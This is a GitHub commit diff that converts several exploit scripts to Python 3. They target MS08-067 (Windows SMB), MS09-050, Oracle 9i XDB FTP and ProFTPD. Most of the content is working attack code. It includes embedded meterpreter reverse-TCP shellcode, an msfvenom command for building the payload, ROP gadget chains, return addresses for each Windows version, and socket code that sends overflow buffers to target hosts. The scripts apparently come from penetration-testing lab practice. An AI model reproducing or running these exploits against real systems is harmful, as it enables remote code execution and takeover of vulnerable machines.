Skip to content

Commit f0853e1

Browse files
ankh2054ankh2054
authored
Merge pull request #1 from mokrunka/master
update ms09-050.py for Python3
2 parents 4bcc62a + b82ec0a commit f0853e1

File tree

4 files changed

+90
-112
lines changed

4 files changed

+90
-112
lines changed

‎ms08_067.py

+74-99
Original file line numberDiff line numberDiff line change
@@ -2,76 +2,62 @@
22
import time
33
import sys
44

5-
65
from threading import Thread # Thread is imported incase you would like to modify
76

8-
97
try:
10-
118
from impacket import smb
12-
139
from impacket import uuid
14-
1510
from impacket.dcerpc import dcerpc
16-
1711
from impacket.dcerpc import transport
1812

19-
except ImportError, _:
20-
21-
print 'Install the following library to make this script work'
22-
23-
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
24-
25-
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
13+
except ImportError as _:
2614

15+
print('Install the following library to make this script work')
16+
print('Impacket : http://oss.coresecurity.com/projects/impacket.html')
17+
print('PyCrypto : http://www.amk.ca/python/code/crypto.html')
2718
sys.exit(1)
2819

29-
30-
print '#######################################################################'
31-
32-
print '# MS08-067 Exploit'
33-
34-
print '# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).'
35-
36-
print '# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi'
37-
38-
print '#######################################################################\n'
39-
20+
print('#######################################################################')
21+
print('# MS08-067 Exploit')
22+
print('# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).')
23+
print(
24+
'# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi')
25+
print('#######################################################################\n')
4026

4127
# Shellcode: Staged Reverse TCP shellcode for meterpreter
4228
# Badchars: \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40
4329
# Payload size: 380 bytes + 30 NOPS
4430
# Make sure you set meterpreter EXITFUNC=thread - Important!
4531
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.47 LPORT=4444EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c
4632
shellcode = (
47-
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
48-
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
49-
"\x33\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
50-
"\x49\x8d\xa8\x90\x83\xee\xfc\xe2\xf4\xb5\x65\x2a\x90\x49\x8d"
51-
"\xc8\x19\xac\xbc\x68\xf4\xc2\xdd\x98\x1b\x1b\x81\x23\xc2\x5d"
52-
"\x06\xda\xb8\x46\x3a\xe2\xb6\x78\x72\x04\xac\x28\xf1\xaa\xbc"
53-
"\x69\x4c\x67\x9d\x48\x4a\x4a\x62\x1b\xda\x23\xc2\x59\x06\xe2"
54-
"\xac\xc2\xc1\xb9\xe8\xaa\xc5\xa9\x41\x18\x06\xf1\xb0\x48\x5e"
55-
"\x23\xd9\x51\x6e\x92\xd9\xc2\xb9\x23\x91\x9f\xbc\x57\x3c\x88"
56-
"\x42\xa5\x91\x8e\xb5\x48\xe5\xbf\x8e\xd5\x68\x72\xf0\x8c\xe5"
57-
"\xad\xd5\x23\xc8\x6d\x8c\x7b\xf6\xc2\x81\xe3\x1b\x11\x91\xa9"
58-
"\x43\xc2\x89\x23\x91\x99\x04\xec\xb4\x6d\xd6\xf3\xf1\x10\xd7"
59-
"\xf9\x6f\xa9\xd2\xf7\xca\xc2\x9f\x43\x1d\x14\xe5\x9b\xa2\x49"
60-
"\x8d\xc0\xe7\x3a\xbf\xf7\xc4\x21\xc1\xdf\xb6\x4e\x72\x7d\x28"
61-
"\xd9\x8c\xa8\x90\x60\x49\xfc\xc0\x21\xa4\x28\xfb\x49\x72\x7d"
62-
"\xfa\x4c\xe5\xa2\x9b\x49\xa2\xc0\x92\x49\x9c\xf4\x19\xaf\xdd"
63-
"\xf8\xc0\x19\xcd\xf8\xd0\x19\xe5\x42\x9f\x96\x6d\x57\x45\xde"
64-
"\xe7\xb8\xc6\x1e\xe5\x31\x35\x3d\xec\x57\x45\xcc\x4d\xdc\x9a"
65-
"\xb6\xc3\xa0\xe5\xa5\x65\xc9\x90\x49\x8d\xc2\x90\x23\x89\xfe"
66-
"\xc7\x21\x8f\x71\x58\x16\x72\x7d\x13\xb1\x8d\xd6\xa6\xc2\xbb"
67-
"\xc2\xd0\x21\x8d\xb8\x90\x49\xdb\xc2\x90\x21\xd5\x0c\xc3\xac"
68-
"\x72\x7d\x03\x1a\xe7\xa8\xc6\x1a\xda\xc0\x92\x90\x45\xf7\x6f"
69-
"\x9c\x0e\x50\x90\x34\xaf\xf0\xf8\x49\xcd\xa8\x90\x23\x8d\xf8"
70-
"\xf8\x42\xa2\xa7\xa0\xb6\x58\xff\xf8\x3c\xe3\xe5\xf1\xb6\x58"
71-
"\xf6\xce\xb6\x81\x8c\x79\x38\x72\x57\x6f\x48\x4e\x81\x56\x3c"
72-
"\x4a\x6b\x2b\xa9\x90\x82\x9a\x21\x2b\x3d\x2d\xd4\x72\x7d\xac"
73-
"\x4f\xf1\xa2\x10\xb2\x6d\xdd\x95\xf2\xca\xbb\xe2\x26\xe7\xa8"
74-
"\xc3\xb6\x58\xa8\x90"
33+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
34+
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
35+
"\x33\xc9\x83\xe9\xa7\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
36+
"\x49\x8d\xa8\x90\x83\xee\xfc\xe2\xf4\xb5\x65\x2a\x90\x49\x8d"
37+
"\xc8\x19\xac\xbc\x68\xf4\xc2\xdd\x98\x1b\x1b\x81\x23\xc2\x5d"
38+
"\x06\xda\xb8\x46\x3a\xe2\xb6\x78\x72\x04\xac\x28\xf1\xaa\xbc"
39+
"\x69\x4c\x67\x9d\x48\x4a\x4a\x62\x1b\xda\x23\xc2\x59\x06\xe2"
40+
"\xac\xc2\xc1\xb9\xe8\xaa\xc5\xa9\x41\x18\x06\xf1\xb0\x48\x5e"
41+
"\x23\xd9\x51\x6e\x92\xd9\xc2\xb9\x23\x91\x9f\xbc\x57\x3c\x88"
42+
"\x42\xa5\x91\x8e\xb5\x48\xe5\xbf\x8e\xd5\x68\x72\xf0\x8c\xe5"
43+
"\xad\xd5\x23\xc8\x6d\x8c\x7b\xf6\xc2\x81\xe3\x1b\x11\x91\xa9"
44+
"\x43\xc2\x89\x23\x91\x99\x04\xec\xb4\x6d\xd6\xf3\xf1\x10\xd7"
45+
"\xf9\x6f\xa9\xd2\xf7\xca\xc2\x9f\x43\x1d\x14\xe5\x9b\xa2\x49"
46+
"\x8d\xc0\xe7\x3a\xbf\xf7\xc4\x21\xc1\xdf\xb6\x4e\x72\x7d\x28"
47+
"\xd9\x8c\xa8\x90\x60\x49\xfc\xc0\x21\xa4\x28\xfb\x49\x72\x7d"
48+
"\xfa\x4c\xe5\xa2\x9b\x49\xa2\xc0\x92\x49\x9c\xf4\x19\xaf\xdd"
49+
"\xf8\xc0\x19\xcd\xf8\xd0\x19\xe5\x42\x9f\x96\x6d\x57\x45\xde"
50+
"\xe7\xb8\xc6\x1e\xe5\x31\x35\x3d\xec\x57\x45\xcc\x4d\xdc\x9a"
51+
"\xb6\xc3\xa0\xe5\xa5\x65\xc9\x90\x49\x8d\xc2\x90\x23\x89\xfe"
52+
"\xc7\x21\x8f\x71\x58\x16\x72\x7d\x13\xb1\x8d\xd6\xa6\xc2\xbb"
53+
"\xc2\xd0\x21\x8d\xb8\x90\x49\xdb\xc2\x90\x21\xd5\x0c\xc3\xac"
54+
"\x72\x7d\x03\x1a\xe7\xa8\xc6\x1a\xda\xc0\x92\x90\x45\xf7\x6f"
55+
"\x9c\x0e\x50\x90\x34\xaf\xf0\xf8\x49\xcd\xa8\x90\x23\x8d\xf8"
56+
"\xf8\x42\xa2\xa7\xa0\xb6\x58\xff\xf8\x3c\xe3\xe5\xf1\xb6\x58"
57+
"\xf6\xce\xb6\x81\x8c\x79\x38\x72\x57\x6f\x48\x4e\x81\x56\x3c"
58+
"\x4a\x6b\x2b\xa9\x90\x82\x9a\x21\x2b\x3d\x2d\xd4\x72\x7d\xac"
59+
"\x4f\xf1\xa2\x10\xb2\x6d\xdd\x95\xf2\xca\xbb\xe2\x26\xe7\xa8"
60+
"\xc3\xb6\x58\xa8\x90"
7561
)
7662

7763
# Shellcode2 - Standard Reverse TCP shellcode
@@ -110,10 +96,10 @@
11096
)
11197

11298
nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \
113-
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
99+
"A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10
114100
disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \
115-
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
116-
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01";
101+
28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62"
102+
ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01"
117103
module_base = 0x6f880000
118104

119105

@@ -135,7 +121,7 @@ def generate_rop(rvas):
135121
ret += gadget2[0]
136122
ret += gadget2[1]
137123
ret += struct.pack('<L', rvas[
138-
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
124+
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret'] + module_base)
139125
ret += struct.pack('<L', rvas['pop ecx / ret'] + module_base)
140126
ret += gadget2[2]
141127
ret += struct.pack('<L', rvas['mov [eax+0x10], ecx / ret'] + module_base)
@@ -148,117 +134,106 @@ def generate_rop(rvas):
148134
class SRVSVC_Exploit(Thread):
149135

150136
def __init__(self, target, os, port=445):
151-
152137
super(SRVSVC_Exploit, self).__init__()
153-
154138
self.__port = port
155-
156139
self.target = target
157140
self.os = os
158141

159142
def __DCEPacket(self):
160143
if (self.os == '1'):
161-
print 'Windows XP SP0/SP1 Universal\n'
144+
print('Windows XP SP0/SP1 Universal\n')
162145
ret = "\x61\x13\x00\x01"
163146
jumper = nonxjmper % (ret, ret)
164147
elif (self.os == '2'):
165-
print 'Windows 2000 Universal\n'
148+
print('Windows 2000 Universal\n')
166149
ret = "\xb0\x1c\x1f\x00"
167150
jumper = nonxjmper % (ret, ret)
168151
elif (self.os == '3'):
169-
print 'Windows 2003 SP0 Universal\n'
152+
print('Windows 2003 SP0 Universal\n')
170153
ret = "\x9e\x12\x00\x01" # 0x01 00 12 9e
171154
jumper = nonxjmper % (ret, ret)
172155
elif (self.os == '4'):
173-
print 'Windows 2003 SP1 English\n'
156+
print('Windows 2003 SP1 English\n')
174157
ret_dec = "\x8c\x56\x90\x7c" # 0x7c 90 56 8c dec ESI, ret @SHELL32.DLL
175158
ret_pop = "\xf4\x7c\xa2\x7c" # 0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL
176159
jmp_esp = "\xd3\xfe\x86\x7c" # 0x 7c 86 fe d3 jmp ESP @NTDLL.DLL
177160
disable_nx = "\x13\xe4\x83\x7c" # 0x 7c 83 e4 13 NX disable @NTDLL.DLL
178161
jumper = disableNXjumper % (
179162
ret_dec * 6, ret_pop, disable_nx, jmp_esp * 2)
180163
elif (self.os == '5'):
181-
print 'Windows XP SP3 French (NX)\n'
164+
print('Windows XP SP3 French (NX)\n')
182165
ret = "\x07\xf8\x5b\x59" # 0x59 5b f8 07
183166
disable_nx = "\xc2\x17\x5c\x59" # 0x59 5c 17 c2
184167
# the nonxjmper also work in this case.
185168
jumper = nonxjmper % (disable_nx, ret)
186169
elif (self.os == '6'):
187-
print 'Windows XP SP3 English (NX)\n'
170+
print('Windows XP SP3 English (NX)\n')
188171
ret = "\x07\xf8\x88\x6f" # 0x6f 88 f8 07
189172
disable_nx = "\xc2\x17\x89\x6f" # 0x6f 89 17 c2
190173
# the nonxjmper also work in this case.
191174
jumper = nonxjmper % (disable_nx, ret)
192175
elif (self.os == '7'):
193-
print 'Windows XP SP3 English (AlwaysOn NX)\n'
194-
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796, 'pop ecx / ret': 0x2e796 + 6,
195-
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f, 'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56, 'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
176+
print('Windows XP SP3 English (AlwaysOn NX)\n')
177+
rvasets = {'call_HeapCreate': 0x21286, 'add eax, ebp / mov ecx, 0x59ffffa8 / ret': 0x2e796,
178+
'pop ecx / ret': 0x2e796 + 6,
179+
'mov [eax], ecx / ret': 0xd296, 'jmp eax': 0x19c6f,
180+
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret': 0x10a56,
181+
'mov [eax+0x10], ecx / ret': 0x10a56 + 6, 'add eax, 8 / ret': 0x29c64}
196182
# the nonxjmper also work in this case.
197183
jumper = generate_rop(rvasets) + "AB"
198184
else:
199-
print 'Not supported OS version\n'
185+
print('Not supported OS version\n')
200186
sys.exit(-1)
201187

202-
print '[-]Initiating connection'
188+
print('[-]Initiating connection')
203189

204190
self.__trans = transport.DCERPCTransportFactory(
205191
'ncacn_np:%s[\\pipe\\browser]' % self.target)
206192

207193
self.__trans.connect()
208194

209-
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
195+
print('[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target)
210196

211197
self.__dce = self.__trans.DCERPC_class(self.__trans)
212198

213199
self.__dce.bind(uuid.uuidtup_to_bin(
214200
('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
215201
# Change shellcode to your required shellcode
216202
path = "\x5c\x00" + "ABCDEFGHIJ" * 10 + shellcode2 + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" + \
217-
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
203+
"\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00" + jumper + "\x00" * 2
218204

219205
server = "\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"
220206
prefix = "\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"
221207

222208
self.__stub = server + "\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + \
223-
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
209+
path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00"
224210

225211
return
226212

227213
def run(self):
228-
229214
self.__DCEPacket()
230-
231215
self.__dce.call(0x1f, self.__stub)
232216
time.sleep(5)
233-
print 'Exploit finish\n'
217+
print('Exploit finish\n')
234218

235219

236220
if __name__ == '__main__':
237221

238-
try:
239-
240-
target = sys.argv[1]
241-
os = sys.argv[2]
242-
243-
except IndexError:
244-
245-
print '\nUsage: %s <target ip>\n' % sys.argv[0]
246-
print 'Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n'
247-
print 'Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n'
248-
print 'Example: MS08_067.py 192.168.1.1 3 for Windows 2003 SP0 Universal\n'
249-
print 'Example: MS08_067.py 192.168.1.1 4 for Windows 2003 SP1 English\n'
250-
print 'Example: MS08_067.py 192.168.1.1 5 for Windows XP SP3 French (NX)\n'
251-
print 'Example: MS08_067.py 192.168.1.1 6 for Windows XP SP3 English (NX)\n'
252-
print 'Example: MS08_067.py 192.168.1.1 7 for Windows XP SP3 English (AlwaysOn NX)\n'
253-
sys.exit(-1)
254-
255-
222+
try:
223+
target = sys.argv[1]
224+
os = sys.argv[2]
225+
226+
except IndexError:
227+
print('\nUsage: %s <target ip>\n' % sys.argv[0])
228+
print('Example: MS08_067.py 192.168.1.1 1 for Windows XP SP0/SP1 Universal\n')
229+
print('Example: MS08_067.py 192.168.1.1 2 for Windows 2000 Universal\n')
230+
print('Example: MS08_067.py 192.168.1.1 3 for Windows 2003 SP0 Universal\n')
231+
print('Example: MS08_067.py 192.168.1.1 4 for Windows 2003 SP1 English\n')
232+
print('Example: MS08_067.py 192.168.1.1 5 for Windows XP SP3 French (NX)\n')
233+
print('Example: MS08_067.py 192.168.1.1 6 for Windows XP SP3 English (NX)\n')
234+
print('Example: MS08_067.py 192.168.1.1 7 for Windows XP SP3 English (AlwaysOn NX)\n')
235+
sys.exit(-1)
256236

257237
current = SRVSVC_Exploit(target, os)
258238

259239
current.start()
260-
261-
262-
263-
264-

‎ms09-050.py

+4-3
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,8 @@
1616

1717
target = sys.argv[1]
1818
except IndexError:
19-
print '\nUsage: %s <target ip>\n' % sys.argv[0]
20-
print 'Example: MS36299.py 192.168.1.1 1\n'
19+
print(f'Usage: {sys.argv[0]} <target ip>')
20+
print(f'Example: ms09-050.py 192.168.1.1')
2121
sys.exit(-1)
2222

2323
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.47 LPORT=4447 EXITFUNC=thread -f c
@@ -132,7 +132,8 @@
132132

133133
s = socket()
134134
s.connect(host)
135-
s.send(buff)
135+
# need to encode as bytes method for use in Python3
136+
s.sendall(buff.encode('utf-8'))
136137
s.close()
137138
#Trigger the above injected code via authenticated process.
138139
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)

‎oracle_9i_xdb_ftp.py

+7-5
Original file line numberDiff line numberDiff line change
@@ -79,15 +79,17 @@
7979
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
8080

8181
try:
82-
print "\nConnecting..."
82+
print( "\nConnecting...")
8383
s.connect((rhost,rport))
8484
data = s.recv(1024)
85-
s.send('USER' + user +'\r\n')
85+
user_send = 'USER' + user +'\r\n'
86+
s.send(user_send.encode('utf-8'))
8687
data = s.recv(1024)
87-
s.send('PASS ' + exploit + '\r\n')
88-
print "\nDone!"
88+
pass_send = 'PASS ' + exploit + '\r\n'
89+
s.send(pass_send.encode('utf-8'))
90+
print("\nDone!")
8991
s.close
9092
except:
91-
print "Could not connect to " + rhost + ":" + str(rport) + "!"
93+
print("Could not connect to " + rhost + ":" + str(rport) + "!")
9294

9395

‎protfpd_exploit.py

+5-5
Original file line numberDiff line numberDiff line change
@@ -54,10 +54,10 @@
5454
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
5555

5656
try:
57-
print "Connecting.\n"
57+
print("Connecting.\n")
5858
s.connect(('10.11.1.146', 21))
59-
print "Sending buffer.\n"
60-
s.send(buffer)
61-
print "Done.\n"
59+
print("Sending buffer.\n")
60+
s.send(buffer.encode('utf-8'))
61+
print("Done.\n")
6262
except:
63-
print "Failed.\n"
63+
print("Failed.\n")

0 commit comments

Comments
 (0)